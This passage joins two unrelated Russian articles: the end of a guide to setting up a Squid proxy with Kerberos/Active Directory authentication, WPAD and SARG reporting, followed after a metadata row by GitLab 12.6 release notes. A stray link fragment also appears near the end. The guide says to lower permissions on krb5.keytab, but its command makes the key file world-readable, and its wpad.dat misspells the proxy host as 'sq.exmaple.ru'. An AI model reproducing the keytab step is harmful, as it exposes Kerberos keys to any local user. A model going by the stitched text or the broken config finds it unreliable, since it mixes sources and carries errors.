После перемещения **krb5.keytab**, рекомендуется понизить права доступа к файлу
```
# chown squid:squid /etc/krb5.keytab && chmod 644 /etc/krb5.keytab
```
### 3.5 Группы доступа AD
В ActiveDirectory в OU Users необходимо создать три группы, согласно которых будет распределен доступ в Интернет: **Internet-full,** **Internet-medium**, **Internet-low**.
### 3.6 Проверка авторизации
Проверка авторизации в Active Directory при помощи файла **/etc/krb5.keytab**
```
# kinit -V -k -t /etc/krb5.keytab HTTP/sq.example.ru@EXAMPLE.RU
```
Вывод команды должен быть примерно такой:
```
Using default cache: /tmp/krb5cc_0
Using principal: HTTP/sq.example.ru@EXAMPLE.RU
Using keytab: /etc/krb5.keytab
Authenticated to Kerberos v5
```
А **klist** должен отобразить следующее:
**klist**Ticket cache: FILE:/tmp/krb5cc\_0
Default principal: HTTP/sq.example.ru@EXAMPLE.RU
Valid starting Expires Service principal
09.10.2016 22:19:20 10.10.2016 08:19:20 krbtgt/EXAMPLE.RU@EXAMPLE.RU
renew until 10.10.2016 22:19:20
На это настройка Squid практически закончена, теперь перезагружаем хост для применения настроек. После перезагрузки для теста можно вручную прописать прокси в настройках **sq.example.ru** указав порт **3130**.
### 4 WPAD
### 4.1 Установка и конфигурирование web-сервера apache2
Установка web-сервера:
```
# yum install -y httpd
```
После установки включаем в автозагрузку:
```
# systemctl enable httpd
```
Запускаем:
```
# systemctl start httpd
```
Если попробовать открыть в браузере доменное имя sq.example.ru, должна открыться тестовая страница apache2.
Далее необходимо создать /**var/www/html/wpad.dat** файл со следующим содержанием:
**wpad.dat**function FindProxyForURL(url, host)
{
// var ip\_host = dnsResolve(host);
// var localnet = «192.168.0.0»;
// var localhost = «127.0.0.0»;
// var localnet = «10.0.0.0»;
if (isInNet( host, «192.168.0.0», «255.255.255.0») ||
isInNet( host, «10.0.0.0», «255.255.255.0») ||
isInNet( host, «127.0.0.0», «255.0.0.0») ||
shExpMatch( host, "\*.example.ru"))
{ return «DIRECT»; }
if (dnsDomainIs( host, "\*.inet-example.ru" ))
{ return «DIRECT»; }
return «PROXY sq.exmaple.ru:3130»;
}
### 4.2 Описание файла wpad.dat
По дефолту в каталоге /var/www/html/wpad.dat файл отдается всем без дополнительных настроек apache2, а это как раз необходимо для корректного взаимодействия с клиентскими машинами на ОС Windows.
Строчки
```
if (isInNet( host, "192.168.0.0", "255.255.255.0") ||
isInNet( host, "10.0.0.0", "255.255.255.0") ||
```
Обозначают, что обращения к хостам в подсетях 192.168.0.0/24, 10.0.0.0/24 и 127.0.0.0/8 (последнее нужно для корректной работы сервисов при обращении к localhost) передаются напрямую, а также напрямую происходит соединение с домеными хостами .example.ru:
Строчки:
```
if (dnsDomainIs( host, "*.inet-example.ru" ))
{ return "DIRECT"; }
```
Обозначают, что при обращении к доменным именам .inet-example.ru происходит напрямую
Если запрашиваемый ресурс не попадает под вышеперечисленные условия, выполняется следующее:
```
return "PROXY sq.exmaple.ru:3130";
```
### 4.3 Создание CNAME
На DNS-сервере Active Directory необходимо создать *cname* **wpad** (FQDN wpad.example.ru) на sq.example.ru.
Для проверки необходимо открыть в браузере **[wpad/wpad.dat](http://wpad/wpad.dat)** и файл **wpad.dat** должен автоматически скачаться. Таким образом, все хосты скачивают данный файл, и исходя из содержимого действуют. Рекомендуется сделать релог или перезагрузить все компьютеры в домене на ОС Windows, чтобы произошло скачивание файла.
### 5 Статистика
### 5.1 Установка SARG из исходников
Если не был установлен gcc ранее, сейчас самое время:
```
# yum install -y gcc gd gd-devel make wget
# wget http://liquidtelecom.dl.sourceforge.net/project/sarg/sarg/sarg-2.3.10/sarg-2.3.10.tar.gz
# tar -xvzf sarg-2.3.10.tar.gz
# cd sarg-2.3.10
# ./configure
# make
```
В файле po/Makefile.in.in указана версия gettext как 0.18, чтобы не было ошибки при make install, необходимо изменить на 0.19:
```
# make install
```
### 5.2 Конфигурирование SARG
Стандартный файл конфигурации /usr/local/etc/sarg.conf лучше забекапить:
```
# mv /usr/local/etc/sarg.conf /usr/local/etc/sarg.conf.default
```
Теперь создаем файл **sarg.conf** со следующим содержанием:
```
access_log /var/log/squid/access.log
output_dir /var/www/html/squid-reports
date_format e
overwrite_report yes
language UTF-8
```
### 5.3 Расписание генерации отчетов при помощи cron
```
# crontab -e
```
Добавляем строчку:
```
55 23 * * * /usr/local/bin/sarg -xd day-0
```
Данная строчка указывает, что отчеты будут генерироваться каждый день и за текущий день в 23:55
### 5.4 Конфигурация web-сервера
На ранее установленный веб-сервер можно еще возложить задачу отображение отчетов, с запросом ввода логина и пароля для авторизации. Создаем файл **/etc/httpd/conf.d/sarg.conf** со следующим сожержанием:
**sarg.conf**Alias /reports /var/www/html/squid-reports/
AuthType Basic
AuthName «Basic Authentication»
AuthUserFile /etc/httpd/conf/.htpasswd
require valid-user
AddDefaultCharset UTF-8
### 5.5 Авторизация на сайте со статистикой
Генерация файла логина и пароля для авторизации
```
# htpasswd -c /etc/httpd/conf/.htpasswd administrator
```
Перезапуск **apache2**:
```
# systemctl restart httpd
```
При попытке открыть *[sq.example.ru/reports](http://sq.example.ru/reports)* будет предложено ввести логин и пароль. В случае успешной авторизации можно просмотреть статистику.
### 6 Групповые политики
Здесь все неоднозначно и может зависит, от каких-то особенностей. В текущей задаче было разумным решением исключить возможность установки прокси-сервера пользователя, или же отключения «Автоматического определения параметров».
### 6.1 Редактирование GPO
Для запрета ввода прокси-сервера или изменения настроек по автоматическому определению параметров, можно воспользоваться групповой политикой. Создаем и связываем групповую политику с OU например, office.
Редактируем групповую политику:
> **Пользователь → Политики → Административные шаблоны → Компоненты Windows → Internet Explorer**
В данном каталоге найти параметры и перевести в статус **«Включено»**:
> **«Запретить изменение параметров прокси»**
>
> **«Отключить изменение параметров автоматической»**
В заключение сказать могу вот что, данная конфигурация успешно работает по настоящее время с весны 2016-го, и отлично себя зарекомендовала. На все вопросы буду рад ответить.
**UPD №1: 12.11.16
1 Были убраны из конфига сквида лишние строки портов 3128 и 3129.
2 включил selinux и добавил правила.
3 Была убрана генерация сертификата из мануала(без него работает)
4 Мелкие исправления**
**UPD №2: 20.11.16
1 Были убраны из конфига krb5.conf лишние строки
2 Добавлен метод интеграции с AD через Msktutil
3 Добавлен форвардинг
4 Обновлен архив со сквидом и зависимостями** | https://habr.com/ru/post/314918/ | null | ru | null |
# Вышел релиз GitLab 12.6 с оценками безопасности проектов и материалами релиза
Руководителям разработки необходим четкий и понятный обзор состояния [безопасности приложения](https://about.gitlab.com/solutions/dev-sec-ops/) и [соответствия требованиям](https://about.gitlab.com/solutions/compliance/) для их проектов. Декабрьский релиз GitLab поможет вам эффективнее отслеживать эти важные параметры.
**Статус безопасности проекта**
-------------------------------
В релизе 12.6 мы добавили новую фичу на [панель безопасности проекта](#bystraya-ocenka-riskov-proekta-s-ocenkami-bezopasnosti), которая показывает оценку состояния безопасности ваших проектов. Так руководители разработки смогут быстрее понять, какие проекты могут быть в зоне риска, и обеспечить необходимое внимание конкретным проблемам.
**Улучшенный аудит с материалами релиза**
-----------------------------------------
Почти каждая enterprise-команда должна документировать свою работу и предоставлять свидетельства того, что каждый релиз соответствует всем требованиям и процедурам организации. Часто это означает, что в компании существуют ручные процессы сохранения текущей документации, чтобы она была доступна для будущих проверок на соответствие требованиям. GitLab 12.6 упрощает проведение аудита благодаря [файлу с материалами релиза](#avtomaticheskaya-sborka-materialov-reliza-dlya-audita) — JSON-объекту, который содержит ссылки на майлостоуны и тикеты, относящиеся к релизу, что поможет в будущих аудитах.
**Эффективное управление и распределение ресурсов C/C++**
---------------------------------------------------------
Многие команды активно разрабатывают высокопроизводительные приложения на C и C++, и им требуется инструмент для удобного управления и распространения скомпилированных файлов и бинарных файлов проекта. С релизом 12.6 стало проще работать с этими файлами как публично, так и приватно, благодаря интеграции с популярным [репозиторием Conan](#upravlenie-paketami-cc-cherez-conan-s-pomoschyu-reestra-paketov-gitlab). Теперь разработчики смогут использовать все преимущества размещения кода, автоматизированных конвейеров (в русской локализации GitLab «сборочные линии») CI и результирующих пакетов в одном приложении, что улучшит общую эффективность и скорость разработки.
**И даже больше!**
------------------
Это были только несколько новых фич релиза 12.6. Обратите внимание также на [сканирование зависимостей Gradle-проектов на Java](#skanirovanie-zavisimostey-dlya-gradle-proektov-na-java) и [поддержку squash-and-merge в цепочках мерж-реквестов](#obedinennaya-istoriya-kommitov-pri-squash-and-merge-v-cepochke-merzh-rekvestov) (в русской локализации GitLab «запросы на слияние»).
Открыта [регистрация](https://www.eventbrite.com/e/gitlab-commit-2020-san-francisco-tickets-73836706577) на следующую [пользовательскую конференцию GitLab Commit](https://www.eventbrite.com/e/gitlab-commit-2020-san-francisco-tickets-73836706577), которая состоится 14-го января в Сан-Франциско.
[Приглашаем на наши встречи](https://about.gitlab.com/events/), [на GitLab Commit](https://about.gitlab.com/events/commit/) и [просим заполнить опрос по релизу](https://docs.google.com/forms/d/e/1FAIpQLSdWA8nKZ7eRMDOk3HCJTLRvaSRTY22GGyyE-8cvfCwIuy3Iyg/viewform) (на английском).
[MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Fabio Huser](https://gitlab.com/fh1ch)
-----------------------------------------------------------------------------------------------------
Fabio внес несколько важных мерж-реквестов в 12.6: [возможность отключить оповещение об упоминании группы](https://gitlab.com/gitlab-org/gitlab/merge_requests/20184), [отображение разницы покрытия тестами на странице мерж-реквеста](https://gitlab.com/gitlab-org/gitlab/merge_requests/20676), [добавление разбивки по страницам в релизах](https://gitlab.com/gitlab-org/gitlab/merge_requests/19912) и [поддержку Unify Circuit](https://gitlab.com/gitlab-org/gitlab/merge_requests/19849).
Спасибо Fabio и всей команде Siemens!
Основные фичи релиза GitLab 12.6
--------------------------------
### Быстрая оценка рисков проекта с оценками безопасности
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Мы рады представить новую фичу на панели безопасности группы — оценка состояния безопасности. Помимо уже существующих списка уязвимостей и истории, эта новая часть панели безопасности показывает, какие проекты сейчас в зоне риска, чтобы вы могли сразу перейти к проектам, требующим немедленного внимания.
Опасность обнаруженных уязвимостей повлияет на полученную оценку — от A до F. Проекты будут сгруппированы по этим оценкам, позволяя легко увидеть распределение проектов без текущих проблем с безопасностью (оценка A) до имеющих как минимум 1 критическую уязвимость (оценка F).
[Документация по панели безопасности группы](https://docs.gitlab.com/ee/user/application_security/security_dashboard/#group-security-dashboard) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/11190).
### Управление пакетами C/C++ через Conan с помощью реестра пакетов GitLab
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Для компаний, занимающихся разработкой ПО, очень важно иметь простой и безопасный способ управлять зависимостями. Инструменты для управления пакетами, такие как Conan для разработчиков на C/C++, предоставляют стандартизованный способ распространять библиотеки и управлять их версиями среди проектов. В релизе 12.6 мы рады предоставить поддержку репозиториев Conan, встроенную напрямую в GitLab. Просто укажите адрес удаленного сервера Conan реестру пакетов GitLab — и вы сразу сможете загружать, устанавливать и удалять пакеты, а также публиковать свои библиотеки.
[Документация по использованию Conan](https://docs.gitlab.com/ee/user/packages/conan_repository/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/8248).
### Фильтрация тикетов и мерж-реквестов по релизу
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Планирование релизов и управление ими — задачи не из легких. Именно поэтому так важна возможность быстро находить относящиеся к релизу тикеты и мерж-реквесты. В 12.6 мы добавили фильтрацию тикетов и мерж-реквестов по имени релиза, что поможет вам быстрее находить связанные тикеты и мерж-реквесты.
[Документация по поиску](https://docs.gitlab.com/ee/user/search/#issues-and-merge-requests-per-project) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/32632).
### Автоматическая сборка материалов релиза для аудита
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Во многих компаниях при выпуске новых изменений необходимо документировать соблюдение всех необходимых процессов и регулировок в жизненном цикле разработки ПО. Зачастую этот процесс неэффективен — и отнимает много времени. Начиная с 12.6 в Релизах GitLab появились **Собранные материалы** (**Evidence collection**), где вы найдете снимок всех метаданных релиза в формате JSON. Этот снимок может быть использован для процессов ревью и подтверждения соответствия требованиям, например, для аудита.
[Документация по материалам релиза](https://docs.gitlab.com/ee/user/project/releases/#release-evidence) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/26019).
### Объединенная история коммитов при squash-and-merge в цепочке мерж-реквестов
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
[Squash-and-Merge](https://docs.gitlab.com/ee/user/project/merge_requests/squash_and_merge.html) позволяет собрать все коммиты вашего мерж-реквеста в один, чтобы у вас была аккуратная история в ветке по умолчанию, и сделать это без потери всей истории коммитов. В этом релизе мы добавили поддержку squash в цепочки мерж-реквестов, которые запускают билд по результату мерж-реквеста до его выполнения, позволяя убедиться, что master-ветка останется зеленой. Комбинация этих двух фич обеспечит master-ветку в рабочем состоянии и объединенную историю коммитов.
[Документация по конвейерам по результату мерж-реквеста](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/13001).
### Просмотр настроек безопасности и соответствия требованиям в одном месте
(ULTIMATE, GOLD) [Стадия цикла DevOps: "Secure"](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Мы рады представить новый способ просмотра сканирований безопасности из левой панели навигации. В разделе `Безопасность и соответствие требованиям` (`Security and Compliance`) появилась опция `Конфигурация` (`Configuration`), где вы увидите все доступные сканирования безопасности, какие сканирования были настроены, и ссылки на соответствующую документацию.
**Обратите внимание**, что это только [первая итерация (MVC)](https://about.gitlab.com/handbook/product/#the-minimally-viable-change-mvc) этой фичи, так что более сложная настройка пока недоступна, например вы не можете включать или выключать сканирования с этого экрана.
[Документация по проверке безопасности приложений](https://docs.gitlab.com/ee/user/application_security) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/13638).
### Эффективнее работайте вместе благодаря Circuit
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) ["Enablement"](https://about.gitlab.com/handbook/engineering/development/enablement/)
[Circuit от Unify](https://www.circuit.com/) — система для общения и совместной работы, используемая многими организациями. Как и в случае с другими интеграциями оповещений GitLab, теперь вы можете настроить веб-хуки для отправки определенных оповещений в беседу Circuit. Ссылки в оповещениях будут вести в ваш проект в GitLab, избавляя вас от необходимости переключаться в почтовый клиент ради обновлений об активности в GitLab.
Спасибо [Fabio Huser](https://gitlab.com/fh1ch) за [этот вклад](https://gitlab.com/gitlab-org/gitlab/merge_requests/19849).
[Документация по работе с Circuit](https://docs.gitlab.com/ee/user/project/integrations/unify_circuit.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/merge_requests/19849)
Другие улучшения в GitLab 12.6
------------------------------
### Требования к новым паролям пользователей
(CORE, STARTER, PREMIUM, ULTIMATE) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Организациям необходим способ обеспечения безопасности своих инстансов GitLab в соответствии с внутренними процедурами и регулировками. [Частью этой работы](https://gitlab.com/groups/gitlab-org/-/epics/258) является обеспечение безопасности паролей. Недавно GitLab обновил свои гайдлайны [в отношении паролей](https://about.gitlab.com/handbook/security/#gitlab-password-policy-guidelines), основываясь на [NIST SP 800-63B](https://pages.nist.gov/800-63-3/sp800-63b.html). В этой публикации NIST рекомендует задавать требования по длине и сложности пароля, но не рекомендует ротацию паролей или специфичные требования к сложности (например, определенное количество специальных символов).
Основываясь на этом, GitLab представляет новую настройку в панели администратора — **минимальная длина пароля** (**minimum password length**), которая будет применяться к новым паролям, то есть будет действовать на новые аккаунты или при смене пароля. Благодаря этому GitLab станет более безопасным, и организации смогут управлять политикой паролей в своих инстансах, обеспечивая соответствие внутренним требованиям.
[Документация по ограничению длины паролей](https://docs.gitlab.com/ee/security/password_length_limits.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/36776).
### Требование обновления персональных токенов
(ULTIMATE) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Организации, уделяющие много внимания безопасности, всегда использовали регулярные смены идентификационных данных, чтобы ограничить время доступа к системе в случае компрометации данных. Хотя гайдлайны от организаций вроде [NIST](https://pages.nist.gov/800-63-3/sp800-63b.html) более не рекомендуют периодические смены, мы все равно добавляем возможность настроить требование [регулярного обновления личных токенов](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-tokens). Это может потребоваться из-за изначального отсутствия двухфакторной защиты, требований пользователей или важности смены для некоторых фреймворков, обеспечивающих соответствие стандартам, например [PCI](https://pciguru.wordpress.com/2019/03/11/the-new-nist-password-guidance/).
Благодаря этой фиче администратор инстанса может настроить срок жизни сгенерированных токенов личного доступа. Применение лимита автоматически просрочит все текущие токены, их придется сгенерировать заново, и уже к новым токенам будет применен заданный срок жизни. Когда он истечет, токен нужно будет сгенерировать снова.
[Документация по ограничению срока жизни токенов](https://docs.gitlab.com/ee/user/admin_area/settings/account_and_limit_settings.html#limiting-lifetime-of-personal-access-tokens-ultimate-only) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/3649).
### Защита данных проекта благодаря обратимому удалению
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Manage"](https://about.gitlab.com/stages-devops-lifecycle/manage/)
До этого момента удаление проекта через UI или [API](https://docs.gitlab.com/ee/api/projects.html#remove-project) было немедленным и необратимым, без возможности восстановить данные. Это могло привести к непреднамеренной потере данных, что было бы худшим сценарием для разработчиков.
Для снижения рисков с релизом 12.6 мы представляем обратимое удаление проектов. Вместо немедленного удаления проекта или группы, они будут помечены к удалению и удалены после настроенного количества дней обратимого удаления. По умолчанию это произойдет через 7 дней. Если же вы хотите оставить немедленное удаление, измените значение этого параметра на 0.
[Документация по периоду обратимого удаления](https://docs.gitlab.com/ee/user/admin_area/settings/visibility_and_access_controls.html#project-deletion-adjourned-period-premium-only) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/32935).
### Предпросмотр спецификаций OpenAPI
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Спецификация OpenAPI (ранее Swagger) — популярный стандарт для создания RESTful интерфейсов. Тем не менее, читать исходный код на YAML не так-то просто. В релизе GitLab 12.6 при просмотре файла `openapi.yml` или другого поддерживаемого файла будет отрисовано превью спецификации, в том же виде, что и в Swagger.
Спасибо [Roger Meier](https://gitlab.com/bufferoverflow) и Siemens за [этот вклад](https://gitlab.com/gitlab-org/gitlab/merge_requests/21106)!
[Документация по предпросмотру для спецификаций OpenAPI](https://docs.gitlab.com/ee/user/project/repository/#openapi-viewer) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/19515).
### Упрощенная навигация между табами в мерж-реквестах
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Интерфейс мерж-реквестов — то место, где код ревьювят, тестируют и обсуждают, но этот интерфейс легко может оказаться перегружен. Описания мерж-реквестов, конвейеры, результаты сканирования безопасности могут сместить табы далеко вниз страницы, делая их труднодоступными.
В новом релизе GitLab навигация по мерж-реквесту теперь находится выше описания, и вы легко сможете перейти сразу к изменениям. Также мы сгруппировали описание и виджеты на табе **Обзор** (**Overview**), что облегчит навигацию по мерж-реквесту. Пожалуйста, присылайте вашу обратную связь об этом обновлении [сюда](https://gitlab.com/gitlab-org/gitlab/issues/36125).
[Документация по мерж-реквестам](https://docs.gitlab.com/ee/user/project/merge_requests/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/33813).
### Удаление ветвления при ограничении видимости проекта
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Create"](https://about.gitlab.com/stages-devops-lifecycle/create/)
Ветвления упрощают работу над любым проектом. Вы делаете копию основного проекта, над которой можно поработать, а потом создаете мерж-реквест, чтобы внести свои изменения в проект.
Ранее, когда видимость корневого проекта в сети ветвлений **изменялась** на ограниченную, видимость всех веток тоже становилась ограниченной. Это могло привести к тому, что все форки публичного проекта внезапно становились закрытыми, если вы ограничивали видимость корневого проекта.
В GitLab 12.6 вместо изменения видимости всех проектов, корневой проект просто удаляется из сети ветвлений, оставляя все остальные проекты без изменений, что эквивалентно удалению корневого проекта.
[Документация по ограничению видимости](https://docs.gitlab.com/ee/public_access/public_access.html#reducing-visibility) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/33358).
### Настройка CI за пределами репозитория
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Verify"](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Мы добавили возможность задавать путь к `.gitlab-ci.yml` как произвольный URL, что позволит вам хранить настройки CI вне того репозитория, который вы сейчас собираете. Теперь для одинаковой настройки нескольких репозиториев вы можете просто указать ссылку на один и тот же внешний файл `.gitlab-ci.yml`. Эффективность повышается за счет того, что вместо поддержки множества отдельных настроек, достаточно обновлять только один настроечный файл. Пользователи, которые пользуются сервисами, динамически генерирующими настроечный файл, тоже получат преимущество от этой фичи.
Это также позволяет защищать настройки от несанкционированных изменений, так как настроечный файл можно хранить в проекте с более строгим ограничением доступа. Мы обновили нашу документацию, добавив информацию о том, как это сделать.
[Документация по заданию пути к файлу настроек CI](https://docs.gitlab.com/ee/user/project/pipelines/settings.html#custom-ci-configuration-path) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/14376).
### Реестр NPM теперь поддерживает установку зависимостей
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Package"](https://about.gitlab.com/stages-devops-lifecycle/package/)
Мы рады сообщить вам, что, начиная с GitLab 12.6, реестр NPM поддерживает установку зависимостей пакета. Ранее команда `npm install` не работала, если версия пакета не была включена в команду. Кроме того, эта команда не поддерживала установку зависимостей пакетов потому, что мы не поддерживали требуемые метаданные NPM, такие как зависимости и теги.
С этим релизом GitLab `npm install` будет работать как полагается. Далее мы планируем поработать над [добавлением зависимостей и тегов к пользовательскому интерфейсу реестра пакетов](https://gitlab.com/gitlab-org/gitlab/issues/12954).
[Документация по метаданным реестра NPM](https://docs.gitlab.com/ee/user/packages/npm_registry/#npm-dependencies-metadata) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/11867).
### Официальный контейнер GitLab с предустановленным клиентом AWS
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Взаимодействие с одним из крупных провайдеров облачных сервисов, таким как AWS, Azure или GCP, – это ключевой компонент многих конвейеров. Однако, прежде чем вы сможете автоматизировать облачные операции, вам необходимо настраивать окружение со всеми нужными инструментами. Ранее вам приходилось делать это самостоятельно, но, начиная с версии 12.6, GitLab будет предоставлять официальный образ AWS Docker, который позволить вам запускать aws-команды из ваших конвейеров CI/CD. Вы сможете получить доступ ко множеству сервисов AWS, используя образ Docker, который поддерживается и обновляется командой GitLab.
Поставка официального образа – это также первый шаг к [поддержке развертываний AWS в EC2](https://gitlab.com/groups/gitlab-org/-/epics/2351). Один из наших глобальных планов – добавить [нативную поддержку для развертываний на облаках от различных провайдеров](https://gitlab.com/groups/gitlab-org/-/epics/1804). Мы надеемся увидеть вклад сообщества в разработку поддержки дополнительных облачных провайдеров. Для этого вы можете использовать эту модель предсобранных образов со включенными скриптами, которая хранится в [официальном реестре GitLab Cloud Deploy](https://gitlab.com/gitlab-org/cloud-deploy/container_registry).
[Документация по облачным развертываниям](https://docs.gitlab.com/ee/ci/cloud_deployment/index.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/31167).
### Предупреждение при мерже вне очереди
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: "Release"](https://about.gitlab.com/stages-devops-lifecycle/release/)
Когда пользователи выбирают для своих мерж-реквестов опцию **«Merge Immediately»**, происходит задержка всех мерж-реквестов в очереди. Пользователи могли не знать, что это происходит, и могли ненамеренно мешать друг другу. Теперь, хотя мы все еще позволяем срочным мерж-реквестам проходить без очереди, в качестве дополнительной линии защиты мы добавили предупреждение, в котором объясняется, что это действие повлияет на остальные мерж-реквесты.
[Документация по цепочкам мержей](https://docs.gitlab.com/ee/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/#immediately-merge-a-merge-request-with-a-merge-train) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/12679).
### Настройка пространства имен Kubernetes для каждого окружения
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Когда вы пользуетесь интеграцией GitLab с Kubernetes, вы получаете автоматически созданное пространство имен, которое служит целью развертывания для GitLab CI/CD. Это упрощает начало работы с Kubernetes. Однако, если у вас уже есть кластер с существующим набором пространств имен, то скорее всего вы захотите задать одно из этих пространств имен как цель развертывания GitLab.
С GitLab 12.6 вы сможете задавать пользовательское пространство имен для каждого окружения CI в файле `.gitlab-ci.yml`, что позволит вам производить развертывания в пространства, которые существовали еще до того, как вы подключили свой кластер Kubernetes к GitLab. По умолчанию эта фича доступна только для кластеров без самостоятельного управления, но она поддерживает динамические окружения (например, для использования в приложениях для ревью).
[Документация по настройке развертываний Kubernetes](https://docs.gitlab.com/ee/ci/environments.html#configuring-kubernetes-deployments) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/27630).
### Очистка кэша кластеров для поддержки синхронизации
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Нам часто приходится выполнять действия над кластерами Kubernetes напрямую, например, для устранения неисправностей или точной настройки. Изменение ресурсов Kubernetes прямо в кластере может привести к прекращению синхронизации GitLab с кластером, и он перестанет создавать ресурсы повторно, так как будет считать, что они уже существуют.
Начиная с GitLab 12.6 в интеграции с Kubernetes появится опция очищения локального кэша пространства имен и служебных аккаунтов, что позволит следующему заданию CI при необходимости создать их заново.
[Документация по очистке кэша кластера](https://docs.gitlab.com/ee/user/project/clusters/#clearing-the-cluster-cache) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/31759).
### Установка приложений Kubernetes при помощи шаблона CI
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Configure"](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Установка приложений Kubernetes [с использованием GitLab CI](https://docs.gitlab.com/ee/user/clusters/applications.html#install-using-gitlab-ci-alpha) предоставляет отличный способ настраивать чарты Helm перед установкой. Для упрощения начала работы мы добавили [шаблон CI](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Managed-Cluster-Applications.gitlab-ci.yml) со всеми поддерживаемыми на текущий момент приложениями. Кроме того, мы создали [пример проекта по управлению кластерами](https://gitlab.com/gitlab-org/cluster-integration/example-cluster-applications), который содержит все необходимое для начала работы. Просто импортируйте и скопируйте этот проект, чтобы получить все последние версии поддерживаемых приложений.
[Документация по установке через GitLab CI](https://docs.gitlab.com/ee/user/clusters/applications.html#install-using-gitlab-ci-alpha) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/issues/7983).
### Улучшенная интеграция между отслеживанием ошибок и управлением тикетами
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Сортировка ошибок может быть трудоемкой работой, которой зачастую приходится заниматься нескольким участникам вашей команды. Один участник может определить ошибку как критическую и создать тикет для ее исправления. Начиная с GitLab 12.6 со страницы с детальной информацией по ошибке можно перейти к открытому для нее тикету. Таким образом, сразу будет очевидно, нужно ли создавать тикет для этой ошибки.
Если тикета еще нет, вы можете быстро создать его из сгенерированной ошибки со страницы этой ошибки.
[Документация по странице с информацией по ошибке](https://docs.gitlab.com/ee/user/project/operations/error_tracking.html#error-details) и [оригинальный тикет](https://gitlab.com/groups/gitlab-org/-/epics/2210).
цикла DevOps: "Monitor"](<https://about.gitlab.com/stages-devops-lifecycle/monitor/>)
### Управление Sentry через GitLab
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: "Monitor"](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Если вы пользуетесь отслеживанием ошибок GitLab, то для вас наверняка важно иметь интеграцию с Sentry, самым популярным инструментом для отслеживания ошибок. Начиная с GitLab 12.6, если вы не можете использовать проект Sentry на Sentry.io, вы можете развертывать Sentry напрямую в кластере Kubernetes, прикрепленном к вашему проекту или группе. Это значительно упрощает начало работы с отслеживанием ошибок в GitLab.
